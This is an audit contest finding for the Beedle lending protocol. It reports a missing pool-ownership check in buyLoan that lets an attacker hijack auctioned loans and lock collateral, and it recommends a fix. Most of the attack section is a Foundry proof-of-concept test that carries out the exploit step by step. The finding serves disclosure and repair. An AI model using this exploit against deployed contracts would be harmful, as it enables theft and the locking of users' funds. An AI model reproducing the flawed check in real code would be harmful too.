Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Possible loan theft and collateral locking in the protocol

PTolev

Summary

The protocol allows attackers to steal loans and lock collateral, due to missing checks if the loan requester is the owner of the associated pool. Additionally, the lender's funds can be trapped with the borrower, who is unable to repay or refinance the loan. Attackers can exploit this vulnerability to set up foreign pools. This poses a significant risk to borrowers and lenders.

Vulnerability Details

The problem with the buyLoan is that it lacks a check to ensure whether the msg.sender is the owner of the pool associated with the passed poolId. Additionally, at the end of the function, the new loan lender is set to msg.sender instead of the pool.lender.

Let's consider the following scenario:
Bob is Lender1; Alice is Lender2; Mallory is the Borrower; Eve is an Attacker with no pool and without any loanTokens

  1. Bob calls setPool to create a pool with poolBalance: 1000e18, loanToken: WETH, and collateralToken: DAI, assigned poolId: 0x0, and transfers the WETH amount into the protocol.

  2. Alice calls setPool to create a pool with poolBalance: 2000e18, loanToken: WETH, and collateralToken: DAI, assigned poolId: 0x1, and transfers the WETH amount into the protocol.

  3. Mallory wants to take a loan of 1000e18 from Bob's pool, so she calls borrow, transferring the DAI tokens into the protocol and receiving her amount of WETH.

  4. After some time, Bob decides to sell Mallory's loan and retrieve his WETH tokens, so he calls startAuction.

  5. Eve sees an opportunity to steal Mallory's loan, so she calls buyLoan with loanId = 0 and poolId = 0x1 (Mallory's loan and Alice's pool). She can do this because there is no check if msg.sender == pool.lender.

As a result:

Eve can exploit this vulnerability to set up foreign pools that meet certain requirements: poolBalance ≥ totalDebt and interestRate ≤ currentAuctionRate.

POC:

Add this test in the Lender.t.sol

function test_attackerCanSetArbitraryPool() external {
uint256 thousand = 1000e18;
address attacker = address(0x999);
​
emit log_named_uint("attacker loanToken balance", loanToken.balanceOf(attacker));
emit log_named_uint("attacker collateralToken balance", collateralToken.balanceOf(attacker));
​
// lender 1 set pool
vm.prank(lender1);
bytes32 poolId0 = lender.setPool(Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100e18,
poolBalance: thousand,
maxLoanRatio: 1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
}));
​
// lender 2 set pool
vm.prank(lender2);
bytes32 poolId1 = lender.setPool(Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: thousand,
poolBalance: thousand * 2,
maxLoanRatio: 1e18,
auctionLength: 1 days,
interestRate: 500,
outstandingLoans: 0
}));
​
// borrower get loan from pool 0
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: poolId0,
debt: thousand,
collateral: thousand
});
vm.prank(borrower);
lender.borrow(borrows);
​
// lender 1 start auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.prank(lender1);
lender.startAuction(loanIds);
​
vm.warp(block.timestamp + 12 hours);
​
emit log("--- attacker `buyLoan` with a pool he doesn't own ---");
vm.prank(attacker);
lender.buyLoan(0, poolId1);
{
(,,,,uint256 oldPoolBalance,,,,uint256 oldPoolOutstandingLoans) = lender.pools(poolId0);
emit log_named_uint("oldPoolBalance", oldPoolBalance);
emit log_named_uint("oldPoolOutstandingLoans", oldPoolOutstandingLoans);
​
(,,,,uint256 newPoolBalance,,,,uint256 newPoolOutstandingLoans) = lender.pools(poolId1);
emit log_named_uint("newPoolBalance:", newPoolBalance);
emit log_named_uint("newPoolOutstandingLoans", newPoolOutstandingLoans);
}
​
emit log("--- borrower `repay`: revert due to underflow ---");
loanToken.mint(address(borrower), lender.getLoanDebt(0) - (thousand - (thousand * 50) / 10000));
​
vm.prank(borrower);
vm.expectRevert();
lender.repay(loanIds);
​
emit log("--- borrower `refinance` to other pool: revert --- ");
// lender 3 set pool
address lender3 = address(10);
loanToken.mint(lender3, thousand * 3);
vm.startPrank(lender3);
loanToken.approve(address(lender), thousand * 3);
bytes32 poolId2 = lender.setPool(Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: thousand,
poolBalance: thousand * 3,
maxLoanRatio: 1e18,
auctionLength: 1 days,
interestRate: 500,
outstandingLoans: 0
}));
vm.stopPrank();
​
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = Refinance({
loanId: 0,
poolId: poolId2,
debt: thousand,
collateral: thousand + 1
});
​
vm.prank(borrower);
vm.expectRevert();
lender.refinance(refinances);
​
emit log("--- lender 1 `startAuction`: revert because he no longer owns the loan ---");
vm.prank(lender1);
vm.expectRevert(Unauthorized.selector);
lender.startAuction(loanIds);
​
emit log("--- lender 2 `giveLoan`: revert because lender2 is not loan.lender ---");
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = poolId0;
vm.prank(lender2);
vm.expectRevert(Unauthorized.selector);
lender.giveLoan(loanIds, poolIds);
​
emit log("--- lender 2 `seizeLoan`: revert because the attacker is not started auction ---");
vm.prank(lender2);
vm.expectRevert(AuctionNotStarted.selector);
lender.seizeLoan(loanIds);
​
emit log("--- lender 2 `buyLoan`: revert because the attacker is not started the auction ---");
vm.prank(lender2);
vm.expectRevert();
lender.buyLoan(0, poolId1);
}

Impact

The borrower is unable to retrieve their collateral because it becomes locked in a non-existent pool. The lender's funds will be stuck with the borrower, who cannot return them because they are unable to repay or refinance.

The attacker can choose to lock funds in the protocol or, if profitable, set up their own pool with a very small auctionLength and enough balance to seizeLoan and get the user's collateral.

Tools Used

Manual review, Foundry

Recommendations

Set the new loan lender to pool.lender if you want everyone to be able to match arbitrary loans with arbitrary pools.

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L518

- loans[loanId].lender = msg.sender;
+ loans[loanId].lender = pools[poolId].lender;

The better option is to add a check if the msg.sender == newPool.lender.

if (pools[poolId].interestRate > currentAuctionRate) revert RateTooHigh();
// calculate the interest
(uint256 lenderInterest, uint256 protocolInterest) = _calculateInterest(
loan
);
​
+ if (msg.sender != pools[poolId].lender) revert Unauthorized();
​
// reject if the pool is not big enough
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!